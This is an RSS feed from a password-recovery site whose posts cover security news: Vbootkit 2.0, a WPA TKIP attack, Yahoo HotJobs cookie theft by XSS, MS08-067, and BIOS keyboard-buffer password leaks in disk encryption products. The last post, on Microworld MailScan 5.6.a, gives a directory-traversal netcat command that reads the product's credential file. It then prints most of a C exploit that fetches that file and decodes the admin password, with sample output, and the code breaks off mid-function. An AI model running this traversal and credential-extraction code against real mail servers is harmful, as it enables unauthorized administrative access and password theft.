<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>What's My Pass? &#187; attacker</title>
	<atom:link href="http://www.whatsmypass.com/tag/attacker/feed" rel="self" type="application/rss+xml" />
	<link>http://www.whatsmypass.com</link>
	<description>Password Recovery R Us</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:16:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Vbootkit 2.0</title>
		<link>http://www.whatsmypass.com/vbootkit-20</link>
		<comments>http://www.whatsmypass.com/vbootkit-20#comments</comments>
		<pubDate>Sat, 25 Apr 2009 15:03:09 +0000</pubDate>
		<dc:creator>Dev Team</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Privilege Escalation]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[Dubai]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[vbootkit]]></category>
		<category><![CDATA[vbootkit 2.0]]></category>
		<category><![CDATA[Windows Vista]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=609</guid>
		<description><![CDATA[Like Kon-boot we talked about in our last post VBootkit 2.0 is an updated code from 2007 that hasnt hit the internet yet , but is pretty much the same idea, modify the bootmgr and you essentially can modify the security checks on the fly to let you do anything you wanted on the system [...]]]></description>
			<content:encoded><![CDATA[<p>Like Kon-boot we talked about in our last post VBootkit 2.0 is an updated code from 2007 that hasnt hit the internet yet , but is pretty much the same idea, modify the bootmgr and you essentially can modify the security checks on the fly to let you do anything you wanted on the system as any user without knowing the password. Read more from there authors site <a href="http://www.nvlabs.in/archives/0-Hack-in-the-Box-Dubai-2009.html">::HERE::</a></p>
<p><a href="http://www.whatsmypass.com/wp-content/uploads/2009/04/vboot.png"><img class="aligncenter size-full wp-image-610" title="vboot" src="http://www.whatsmypass.com/wp-content/uploads/2009/04/vboot.png" alt="" width="500" height="373" /></a></p>
<p>VBootkit 2.0 is a follow-up to earlier work that Kumar and Kumar have done on vulnerabilities contained in the Windows boot    process. In 2007, Kumar and Kumar demonstrated an <a href="http://www.nvlabs.in/uploads/projects/vbootkit/vbootkit_nitin_vipin_whitepaper.pdf">earlier version</a> of VBootkit for Windows Vista at the Black Hat Europe conference.</p>
<p>The latest version of VBootkit includes the ability to remotely control the victim&#8217;s computer. In addition, the software allows    an attacker to increase their user privileges to system level, the highest possible level. The software can also able remove    a user&#8217;s password, giving an attacker access to all of their files. Afterwards, VBootkit 2.0 restores the original password,    ensuring that the attack will go undetected.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/vbootkit-20/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPA Wi-Fi encryption is cracked</title>
		<link>http://www.whatsmypass.com/wpa-wi-fi-encryption-is-cracked</link>
		<comments>http://www.whatsmypass.com/wpa-wi-fi-encryption-is-cracked#comments</comments>
		<pubDate>Thu, 06 Nov 2008 17:51:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Wireless]]></category>
		<category><![CDATA[Aircrack-ng
 Wi-Fi encryption;]]></category>
		<category><![CDATA[AirTight Networks;]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[co-researcher]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[encryption hacking tool;]]></category>
		<category><![CDATA[Erik Tews;]]></category>
		<category><![CDATA[laptop computer;]]></category>
		<category><![CDATA[Martin Beck;]]></category>
		<category><![CDATA[private network software]]></category>
		<category><![CDATA[product management]]></category>
		<category><![CDATA[researcher]]></category>
		<category><![CDATA[Sri Sundaralingam;]]></category>
		<category><![CDATA[Store chain;]]></category>
		<category><![CDATA[T.J. Maxx]]></category>
		<category><![CDATA[Tokyo;]]></category>
		<category><![CDATA[United States]]></category>
		<category><![CDATA[vice president of product management]]></category>
		<category><![CDATA[virtual private network software;]]></category>
		<category><![CDATA[VPN;]]></category>
		<category><![CDATA[WEP]]></category>
		<category><![CDATA[Wi-Fi]]></category>
		<category><![CDATA[Wi-Fi technology;]]></category>
		<category><![CDATA[wireless data;]]></category>
		<category><![CDATA[wireless network security;]]></category>
		<category><![CDATA[wireless networks]]></category>
		<category><![CDATA[wireless standard;]]></category>
		<category><![CDATA[WPA encryption;]]></category>
		<category><![CDATA[WPA router;]]></category>
		<category><![CDATA[WPA Wi-Fi encryption;]]></category>
		<category><![CDATA[WPA2 routers;]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=387</guid>
		<description><![CDATA[Security researchers say they&#8217;ve developed a way to partially crack the Wi-Fi Protected Access (WPA) encryption standard used to protect data on many wireless networks.
The attack, described as the first practical attack on WPA, will be discussed at the PacSec conference in Tokyo next week. There, researcher Erik Tews will show how he was able [...]]]></description>
			<content:encoded><![CDATA[<p>Security researchers say they&#8217;ve developed a way to partially crack the Wi-Fi Protected Access (WPA) encryption standard used to protect data on many wireless networks.</p>
<p>The attack, described as the first practical attack on WPA, will be discussed at the <a href="http://pacsec.jp/">PacSec conference</a> in Tokyo next week. There, researcher Erik Tews will show how he was able to crack WPA encryption, in order to read data being sent from a router to a laptop computer. The attack could also be used to send bogus information to a client connected to the router.<br />
<span id="more-387"></span></p>
<p>To do this, Tews and his co-researcher Martin Beck found a way to break the Temporal Key Integrity Protocol (TKIP) key, used by WPA, in a relatively short amount of time: 12 to 15 minutes, according to Dragos Ruiu, the PacSec conference&#8217;s organizer.</p>
<p>They have not, however, managed to crack the encryption keys used to secure data that goes from the PC to the router in this particular attack</p>
<p>Security experts had known that TKIP could be cracked using what&#8217;s known as a dictionary attack. Using massive computational resources, the attacker essentially cracks the encryption by making an extremely large number of educated guesses as to what key is being used to secure the wireless data.</p>
<p>The work of Tews and Beck does not involve a dictionary attack, however.</p>
<p>To pull off their trick, the researchers first discovered a way to trick a WPA router into sending them large amounts of data. This makes cracking the key easier, but this technique is also combined with a &#8220;mathematical breakthrough,&#8221; that lets them crack WPA much more quickly than any previous attempt, Ruiu said.</p>
<p>Tews is planning to publish the cryptographic work in an academic journal in the coming months, Ruiu said. Some of the code used in the attack was quietly added to Beck&#8217;s <a href="http://www.aircrack-ng.org/doku.php">Aircrack-ng</a> Wi-Fi encryption hacking tool two weeks ago, he added.</p>
<p>WPA is widely used on today&#8217;s Wi-Fi networks and is considered a better alternative to the original WEP (Wired Equivalent Privacy) standard, which was developed in the late 1990s. Soon after the development of WEP, however, hackers found a way to break its encryption and it is now considered insecure by most security professionals. Store chain T.J. Maxx was in the process of upgrading from WEP to WPA encryption when it experienced one of the most widely publicized data breaches in U.S. history, in which hundreds of millions of credit card numbers were stolen over a two-year period.</p>
<p>A new wireless standard known as WPA2 is considered safe from the attack developed by Tews and Beck, but many WPA2 routers also support WPA.</p>
<p>&#8220;Everybody has been saying, &#8216;Go to WPA because WEP is broken,&#8217;&#8221; Ruiu said. &#8220;This is a break in WPA.&#8221;</p>
<p>If WPA is significantly compromised, it would be a big blow for enterprise customers who have been increasingly adopting it, said Sri Sundaralingam, vice president of product management with wireless network security vendor AirTight Networks. Although customers can adopt Wi-Fi technology such as WPA2 or virtual private network software that will protect them from this attack, there are still may devices that connect to the network using WPA, or even the thoroughly cracked WEP standard, he said.</p>
<p>Ruiu expects a lot more WPA research to follow this work. &#8220;Its just the starting point,&#8221; he said. &#8220;Erik and Martin have just opened the box on a whole new hacker playground.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/wpa-wi-fi-encryption-is-cracked/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Change Your Yahoo Email</title>
		<link>http://www.whatsmypass.com/change-your-yahoo-email</link>
		<comments>http://www.whatsmypass.com/change-your-yahoo-email#comments</comments>
		<pubDate>Thu, 30 Oct 2008 16:30:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Privilege Escalation]]></category>
		<category><![CDATA[Yahoo]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[caching;]]></category>
		<category><![CDATA[cross-site;]]></category>
		<category><![CDATA[DNS;]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[internet research;]]></category>
		<category><![CDATA[Netcraft;]]></category>
		<category><![CDATA[text editor]]></category>
		<category><![CDATA[Theregister.co.uk]]></category>
		<category><![CDATA[United States]]></category>
		<category><![CDATA[web browsers]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=368</guid>
		<description><![CDATA[The month’s  		victim comes courtesy of Yahoo, or should I say Yahoo’s HotJobs.com. On  		October 28th, popular internet research and analysis company 		 Netcraft discovered a vulnerability on the Yahoo site that was  		being exploited to steal user authentication cookies. These cookies  		contain user login credentials that can be used to [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-indent: 0.5in;"><span style="font-size: x-small;">The month’s  		victim comes courtesy of Yahoo, or should I say Yahoo’s HotJobs.com. On  		October 28<sup>th</sup>, popular internet research and analysis company 		<a style="color: blue; text-decoration: underline;" href="http://news.netcraft.com/"> Netcraft</a> discovered a vulnerability on the Yahoo site that was  		being exploited to steal user authentication cookies. These cookies  		contain user login credentials that can be used to access any of Yahoo’s  		services, including e-mail. These cookies were being sent remotely to a  		site in the United States under the control of the attacker. </span></p>
<p class="MsoNormal"><span style="font-size: x-small;"> Yahoo has since corrected the flaw and released the following statement  		to netcraft:</span></p>
<p style="line-height: 150%; margin-top: 0pt; margin-bottom: 0pt;"><em><span style="font-size: xx-small;"> The team was made aware of this particular Cross-Site Scripting issue  		yesterday morning (Sunday, Oct. 26) and a fix was deployed within a  		matter of hours. Yahoo! appreciates Netcraft&#8217;s assistance in identifying  		this issue. </span></em></p>
<p style="line-height: 150%; margin-top: 0pt; margin-bottom: 0pt;"><em><span style="font-size: xx-small;"> As a safety precaution, we recommend users change their passwords,  		should they still be concerned. Users should always verify via their  		Sign-in Seal that they are giving their passwords to Yahoo.com. </span></em></p>
<p class="MsoNormal"><strong><span style="font-size: x-small;">How it happened:</span></strong></p>
<p class="MsoNormal"><span style="font-size: x-small;"> The attacker managed to find a flaw at <a href="http://hotjobs.yahoo.com/"> hotjobs.yahoo.com</a> that allows visitors to inject obfuscated JavaScript into the page. The  		script can be configured to steal authentication cookies. The  		authentication cookie can then be used to allow the attacker to pose as  		the user.  This type of attack, and loyal netleets readers already  		know, is called cross-site scripting. Earlier in the year netcraft found  		a similar flaw at ychat.help.yahoo.com.</span></p>
<p class="MsoNormal"><span style="font-size: x-small;"> This attack was probably executed using the CookieMonster tool that has  		recently affected netflix.com and bankofamerica. CookieMonster is a  		cookie stealing toolkit that works with both http and https sites. It  		siphons authentication cookies from vulnerable sites. These cookies can  		be used to hijack a users account. </span></p>
<p class="MsoNormal"><span style="font-size: x-small;"> <a style="color: blue; text-decoration: underline;" href="http://www.theregister.co.uk/2008/09/11/cookiemonstor_rampage/"> Theregister.co.uk</a> best describes CookieMonster as follows:</span></p>
<p class="MsoNormal"><em><span style="font-size: xx-small;">The vulnerability stems from  		website developers&#8217; failure to designate authentication cookies as  		secure. That means web browsers are free to send them over the insecure  		http channel, and that&#8217;s exactly what CookieMonster causes them to do.  		It does this by caching all DNS responses and then monitoring hostnames  		that use port 443 to connect to one of the domain names stored there.  		CookieMonster then injects images from insecure (non-https) portions of  		the protected website, and &#8211; voila! &#8211; the browser sends the  		authentication cookie.</span></em></p>
<p class="MsoNormal" style="text-indent: 0.5in;">A CookieMonster blog  		listed several popular sites that were allegedly vulnerable back in  		September. Those sites include southwest.com, expedia.com,  		usairways.com, register.com, newegg.com, ebay.com, any many many more.</p>
<p class="MsoNormal"><strong><span style="font-size: x-small;">What can be done:</span></strong></p>
<p class="MsoNormal"><span style="font-size: x-small;"> In addition to the steps outlined in this <a href="http://netleets.com/2008/archive/css.htm">XSS  		tutorial,</a> sites that contain cookies for authentication must not  		allow cookie values to be translated on the client side. In the early  		days of cookie based authentication, many sites simply stored  		authentication information in the cookie, which can be read in any text  		editor. Today, cookies merely act as a reference point for server side  		authentication, however if the cookie can be used from any client, it  		defeats the purpose of even hiding the true value. </span></p>
<p class="MsoNormal"><span style="font-size: x-small;"> Perhaps the easiest thing that could have been done on Yahoo’s part  		would have been to configure their site to use http-only or https-only  		cookies. If only http is allowed, malicious javascript cannot be  		injected.</span></p>
<p>Via: <a href="http://netleets.com/2008/10/hotjobs.htm">netleets.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/change-your-yahoo-email/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New Windows RPC Exploit</title>
		<link>http://www.whatsmypass.com/new-windows-rpc-exploit</link>
		<comments>http://www.whatsmypass.com/new-windows-rpc-exploit#comments</comments>
		<pubDate>Mon, 27 Oct 2008 05:06:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[windows]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[Microsoft Windows 2000]]></category>
		<category><![CDATA[Windows 2000]]></category>
		<category><![CDATA[Windows Server 2003]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=364</guid>
		<description><![CDATA[If you haven&#8217;t been auto-updated yet make sure you do. The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this [...]]]></description>
			<content:encoded><![CDATA[<p>If you haven&#8217;t been auto-updated yet make sure you do. The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this vulnerability could be used in the crafting of a wormable exploit.<br />
<a href="http://blogs.technet.com/swi/archive/2008/10/23/More-detail-about-MS08-067.aspx">http://blogs.technet.com/swi/archive/2008/10/23/More-detail-about-MS08-067.aspx</a></p>
<p><a href="http://www.microsoft.com/technet/security/Bulletin/ms08-067.mspx">http://www.microsoft.com/technet/security/Bulletin/ms08-067.mspx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/new-windows-rpc-exploit/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>DriveCrypt Security Model bypass</title>
		<link>http://www.whatsmypass.com/drivecrypt-security-model-bypass</link>
		<comments>http://www.whatsmypass.com/drivecrypt-security-model-bypass#comments</comments>
		<pubDate>Thu, 25 Sep 2008 16:40:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Password Info]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[disk encryption]]></category>
		<category><![CDATA[DriveCrypt Security Model bypass]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[privileged attacker]]></category>
		<category><![CDATA[RAM]]></category>
		<category><![CDATA[Unix]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=206</guid>
		<description><![CDATA[Synopsis
The password checking routine of DriveCrypt fails to sanitize the      BIOS keyboard buffer before AND after reading passwords.

Affected Software
Secu Star&#8217;s DriveCrypt Plus Pack v3.9 (possibly other versions also)
Technical Description
DriveCrypt&#8217;s pre-boot authentication routines use the BIOS API to     read user input via the keyboard. The BIOS internally [...]]]></description>
			<content:encoded><![CDATA[<h6>Synopsis</h6>
<p align="justify">The password checking routine of DriveCrypt fails to sanitize the      BIOS keyboard buffer before AND after reading passwords.</p>
<p><span id="more-206"></span></p>
<h6>Affected Software</h6>
<p align="justify">Secu Star&#8217;s DriveCrypt Plus Pack v3.9 (possibly other versions also)</p>
<h6>Technical Description</h6>
<p align="justify">DriveCrypt&#8217;s pre-boot authentication routines use the BIOS API to     read user input via the keyboard. The BIOS internally copies the     keystrokes in a RAM structure called the BIOS Keyboard buffer      inside the BIOS Data Area. This buffer is not flushed after use,     resulting in potential plain text password leakage once the OS     is fully booted, assuming the attacker can read the password at     physical memory location 0&#215;40:0&#215;1e. It is also possible for a root     user to reboot the computer by instrumenting the BIOS keyboard     buffer in spite of the full disk encryption.</p>
<h6>Impact</h6>
<p align="justify">1) Plain text password disclosure.      Required privileges to perform this operation are OS dependant,      from unprivileged users under Windows (any), to root under most      Unix.    2) A privileged attacker able to write to the MBR and knowing the       password (for instance thanks to 1), is able to reboot the computer      in spite of the password prompted at boot time (and in spite of       disk encryption) by initializing the BIOS keybaord buffer with the      correct password (using an intermediary bootloader that will in turn      run DriveCrypt).</p>
<h6>Full Technical Whitepaper</h6>
<p><a href="http://www.ivizsecurity.com/security-advisory-iviz-sr-0807.html">http://www.ivizsecurity.com/security-advisory-iviz-sr-0807.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/drivecrypt-security-model-bypass/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>McAfee SafeBoot Device Encryption Plain Text Password Disclosure</title>
		<link>http://www.whatsmypass.com/mcafee-safeboot-device-encryption-plain-text-password-disclosure</link>
		<comments>http://www.whatsmypass.com/mcafee-safeboot-device-encryption-plain-text-password-disclosure#comments</comments>
		<pubDate>Thu, 25 Sep 2008 16:01:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Password Info]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[RAM]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=203</guid>
		<description><![CDATA[The password checking routine of SafeBoot Device Encryption fails to sanitize the BIOS keyboard buffer after reading passwords, resulting in plain text password leakage to unprivileged local users.

Vulnerable Systems:
* SafeBoot Device Encryption version 4 Build 4750 and below
Immune Systems:
* SafeBoot Device Encryption version 4 Build 4760 and above
* SafeBoot Device Encryption version 5.x
SafeBoot&#8217;s pre-boot authentication [...]]]></description>
			<content:encoded><![CDATA[<p>The password checking routine of SafeBoot Device Encryption fails to sanitize the BIOS keyboard buffer after reading passwords, resulting in plain text password leakage to unprivileged local users.<br />
<span id="more-203"></span><br />
<strong>Vulnerable Systems:</strong><br />
* SafeBoot Device Encryption version 4 Build 4750 and below</p>
<p><strong>Immune Systems:</strong><br />
* SafeBoot Device Encryption version 4 Build 4760 and above<br />
* SafeBoot Device Encryption version 5.x</p>
<p>SafeBoot&#8217;s pre-boot authentication routines use the BIOS API to read user input via the keyboard. The BIOS internally copies the keystrokes in a RAM structure called the BIOS Keyboard buffer inside the BIOS Data Area. This buffer is not flushed after use, resulting in potential plain text password leakage once the OS is fully booted, assuming the attacker can read the password at physical memory location 0&#215;40:0&#215;1e.<br />
<a href="http://www.ivizsecurity.com/security-advisory-iviz-sr-08010.html">http://www.ivizsecurity.com/security-advisory-iviz-sr-08010.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/mcafee-safeboot-device-encryption-plain-text-password-disclosure/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microworld Mailscan 5.6.a Password Reveal</title>
		<link>http://www.whatsmypass.com/microworld-mailscan-56a-password-reveal</link>
		<comments>http://www.whatsmypass.com/microworld-mailscan-56a-password-reveal#comments</comments>
		<pubDate>Sat, 13 Sep 2008 04:06:11 +0000</pubDate>
		<dc:creator>Dev Team</dc:creator>
				<category><![CDATA[Password Info]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[artificial intelligence]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[Authentication bypass]]></category>
		<category><![CDATA[exploit tool]]></category>
		<category><![CDATA[futuristic and proactive technologies]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[HB]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[INTERNET_FLAG_NO_CACHE_WRITE]]></category>
		<category><![CDATA[INTERNET_FLAG_RELOAD]]></category>
		<category><![CDATA[INTERNET_OPEN_TYPE_DIRECT]]></category>
		<category><![CDATA[MailScan]]></category>
		<category><![CDATA[Oliver Karow]]></category>
		<category><![CDATA[password algorithm]]></category>
		<category><![CDATA[SecurityDevelopment.net]]></category>
		<category><![CDATA[software safeguards organizations]]></category>
		<category><![CDATA[weak algorithm]]></category>
		<category><![CDATA[www.securitydevelopment.net]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=135</guid>
		<description><![CDATA[From MicroWorld&#8217;s website: &#8220;MailScan 5.6 is the world&#8217;s most
advanced Real-Time AntiVirus and AntiSpam solution for Mail Servers.
The software safeguards organizations against Virus, Worm, Trojan and
many other malware breeds with futuristic and proactive technologies.
Employing an array of intelligent filters, MailScan offers powerful
protection against Spam and Phishing mails along with comprehensive
Content Security.&#8221;
http://www.microworld.de
http://www.mwti.net

&#8211; &#62;&#62; Authentication bypass &#60;&#60;
After a [...]]]></description>
			<content:encoded><![CDATA[<p><span><span class="fixed">From MicroWorld&#8217;s website: &#8220;MailScan 5.6 is the world&#8217;s most<br />
advanced Real-Time AntiVirus and AntiSpam solution for Mail Servers.<br />
The software safeguards organizations against Virus, Worm, Trojan and<br />
many other malware breeds with futuristic and proactive technologies.<br />
Employing an array of intelligent filters, MailScan offers powerful<br />
protection against Spam and Phishing mails along with comprehensive<br />
Content Security.&#8221;</p>
<p><a class="fixed" rel="nofollow" href="http://securityvulns.com/?gohttp://www.microworld.de" target="_empty">http://www.microworld.de</a><br />
<a class="fixed" rel="nofollow" href="http://securityvulns.com/?gohttp://www.mwti.net" target="_empty">http://www.mwti.net</a></span></span></p>
<p><span id="more-135"></span><br />
<span><span class="fixed">&#8211; &gt;&gt; Authentication bypass &lt;&lt;</p>
<p>After a login attempt with an invalid username and password, the application<br />
is setting a cookie at the webclient with the following content:</p>
<p>Set-Cookie: User=admin; path=/<br />
Set-Cookie: login=true; path=/<br />
Set-Cookie: IsAdmin=false; path=/<br />
Set-Cookie: IP=; path=/</p>
<p>Providing valid username and password will give a cookie with the<br />
following content:</p>
<p>Set-Cookie: User=admin; path=/<br />
Set-Cookie: login=true; path=/<br />
Set-Cookie: IsAdmin=true; path=/<br />
Set-Cookie: IP=; path=/</p>
<p>It is sufficient to set the cookie as shown above to get authenticated on the<br />
admin interface. The user &#8220;admin&#8221; is a default account, with a password set during<br />
installation.</p>
<p>*BUT* requesting a resource on the webserver *without* supplying a cookie will<br />
also grant access to the requested resource. The attacker just needs to know<br />
the path to the resource. </span></span></p>
<p><span><span class="fixed">&#8211; &gt;&gt; Directory Traversal &lt;&lt;</p>
<p>It is possible to access files on the system outside of the webroot<br />
directory with privileges of the LocalSystem account:</p>
<p><code>echo -e "GET /../../../../PROGRA~1/MailScan/MAILSCAN.INI HTTP/1.0\r\n\r\n" | nc <server>
<port> </code></p>
<p>MAILSCAN.INI holds the user/pass in an encrypted form</p>
<p>an exploit tool was made to quicken the decode of the inifile<br />
<code><br />
/*<br />
----------------------------------------------------------------------------------------------</p>
<p>       _____           ____<br />
      / ___/___  _____/ __ \___ _   __<br />
      \__ \/ _ \/ ___/ / / / _ \ | / /<br />
     ___/ /  __/ /__/ /_/ /  __/ |/ /<br />
    /____/\___/\___/_____/\___/|___/<br />
    [2008]  SecurityDevelopment.net</p>
<p>  Author: SlaYeR<br />
  Date: 25. Aug. 2008<br />
  Email: slayer@securitydevelopment.net<br />
  Website: www.securitydevelopment.net<br />
  IRC: dragon.overfl0w.org #securitydevelopment.net</p>
<p>----------------------------------------------------------------------------------------------</p>
<p>Exploit based on the advisory from Oliver Karow @<br />
http://securityvulns.com/Udocument375.html</p>
<p>- MailScan for Mail Servers</p>
<p>    * Version: 5.6.a with espatch1<br />
    * Win32 Platform</p>
<p>Other Mailscan Products, Versions, also, if available<br />
for other platforms, were not tested.</p>
<p>I used the Directory Traversal methode to access the ini file of mailscan<br />
application to gain some importend data.<br />
After some research i found out that the password algorithm was extreamly<br />
weak. So i decided to code a exploit for it.</p>
<p>15. Aug. 2008 - Advisory release<br />
20. Aug. 2008 - SlaYeR founds out about the advisory<br />
21. Aug. 2008 - Found out about the ini file<br />
22. Aug. 2008 - Found out about the weak algorithm and coded a sploit for it.<br />
25. Aug. 2008 - Private version done.<br />
04. Sep. 2008 - Hotfix released by Microworld.<br />
09. Sep. 2008 - Public release</p>
<p>Some special greets to:<br />
Dams - He helped me with some stupid errors inside the decode_hash function<br />
JGS - He helped me with the spliting hash part<br />
Mikke8 - He didn't helped me but i like hem;)</p>
<p>Team Ph0enix - Cuz they Own</p>
<p>----------------------------------------------------------------------------------------------</p>
<p>Example:</p>
<p>         _____           ____<br />
        / ___/___  _____/ __ \___ _   __<br />
        \__ \/ _ \/ ___/ / / / _ \ | / /<br />
       ___/ /  __/ /__/ /_/ /  __/ |/ /<br />
      /____/\___/\___/_____/\___/|___/<br />
      [2008]  SecurityDevelopment.net</p>
<p> - Microworld Mailscan 5.6.a password reveal exploit -<br />
               Coded by: SlaYeR</p>
<p>[!] Targeting 192.168.1.111:10443<br />
[!] Building magic string!<br />
[!] Connected to host!<br />
[!] Building request!<br />
[!] Opening target!<br />
[+] SERVER: MailScan 5.6a<br />
[+] ADMIN: insecure-mailscan@securitydevelopment.net<br />
[+] HASH: GJBIAHALBCHIBJGJGGAEBMAFBIGGAGGKAIBJHLBMAEBJDHAPBH<br />
[+] PASS: "sl@y3r"-owns-m!cr0word|\<br />
[+] Done!</p>
<p>----------------------------------------------------------------------------------------------</p>
<p>*/</p>
<p>#include <stdio.h><br />
#include <windows.h><br />
#include <wininet.h></p>
<p>#pragma comment(lib, "wininet")<br />
#pragma comment(lib,"ws2_32")</p>
<p>char *SECDEV_ASCII=<br />
"         _____           ____           \n"<br />
"        / ___/___  _____/ __ \\___ _   __\n"<br />
"        \\__ \\/ _ \\/ ___/ / / / _ \\ | / /\n"<br />
"       ___/ /  __/ /__/ /_/ /  __/ |/ / \n"<br />
"      /____/\\___/\\___/_____/\\___/|___/  \n"<br />
"      [2008]  SecurityDevelopment.net\r\n"<br />
"\r\n"<br />
" - Microworld Mailscan 5.6.a password reveal exploit -\r\n"<br />
"               Coded by: SlaYeR\r\n"<br />
"                          \r\n\r\n";</p>
<p>int decode_hash(char * string);<br />
int Count;<br />
int exploit(char *url,char *port);</p>
<p>int main(int argc, char *argv[])<br />
{<br />
 char *url = argv[1];<br />
 char *port = argv[2];<br />
 printf(SECDEV_ASCII);</p>
<p> if( argc <= 2 )<br />
 {<br />
  printf(" Usage: %s <IP> <PORT>\n",argv[0]);<br />
  return 0;<br />
 }<br />
 else<br />
 {<br />
  exploit(url,port);<br />
 }<br />
 return 0;<br />
}</p>
<p>int exploit(char *url,char *port)<br />
{<br />
 printf("[!] Targeting %s:%s\n",url,port);</p>
<p> HINTERNET httpopen, openurl;<br />
 char buffer2[1024];<br />
 DWORD read;<br />
 char *check;<br />
 char *string1 = "http://";<br />
 char *string2 = "/../../../../PROGRA~1/MailScan/MAILSCAN.INI";<br />
 char bigbuffer[1025];<br />
 char buffer3[1025];<br />
 char buffer4[1025];<br />
 char buffer5[1025];<br />
 char buffer6[1025];</p>
<p> if(httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0))<br />
 {<br />
  printf("[!] Building request!\n");<br />
  memset(bigbuffer,0,1025);<br />
  memcpy(bigbuffer,string1,strlen(string1));<br />
  memcpy(bigbuffer+strlen(bigbuffer),url,strlen(url));<br />
  memcpy(bigbuffer+strlen(bigbuffer),":",strlen(":"));<br />
  memcpy(bigbuffer+strlen(bigbuffer),port,strlen(port));<br />
  memcpy(bigbuffer+strlen(bigbuffer),string2,strlen(string2));<br />
 }<br />
 else<br />
 {<br />
  printf("[-] Error building request!\n");<br />
  InternetCloseHandle(httpopen);<br />
  CloseHandle(buffer2);<br />
  return 0;<br />
 }</p>
<p> printf("[!] Trying to connect @ %s:%s\n",url,port);<br />
 if(openurl = InternetOpenUrl(httpopen, bigbuffer, NULL, NULL,<br />
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL))<br />
 {<br />
  printf("[!] Connected to host!\n");<br />
 }<br />
 else<br />
 {<br />
  printf("[-] Error while connecting! \n");<br />
  InternetCloseHandle(httpopen);<br />
  InternetCloseHandle(openurl);<br />
  CloseHandle(buffer2);<br />
  return 0;<br />
 }</p>
<p> if(InternetReadFile(openurl, buffer2, sizeof(buffer2), &#038;read))<br />
 {</p>
<p>  if(check = strstr(buffer2, "[General]"))<br />
  {</p>
<p>   check = strstr(buffer2, "UserPassword=");<br />
   sscanf(check, "UserPassword=%s ", buffer3);</p>
<p>   check = strstr(buffer2, "AdminEmailId=");<br />
   sscanf(check, "AdminEmailId=%s ", buffer4);</p>
<p>   check = strstr(buffer2, "ProductName=");<br />
   sscanf(check, "ProductName=%s ", buffer5);</p>
<p>   check = strstr(buffer2, "Version=");<br />
   sscanf(check, "Version=%s ", buffer6);<br />
  }</p>
<p> if( check==NULL )<br />
 {<br />
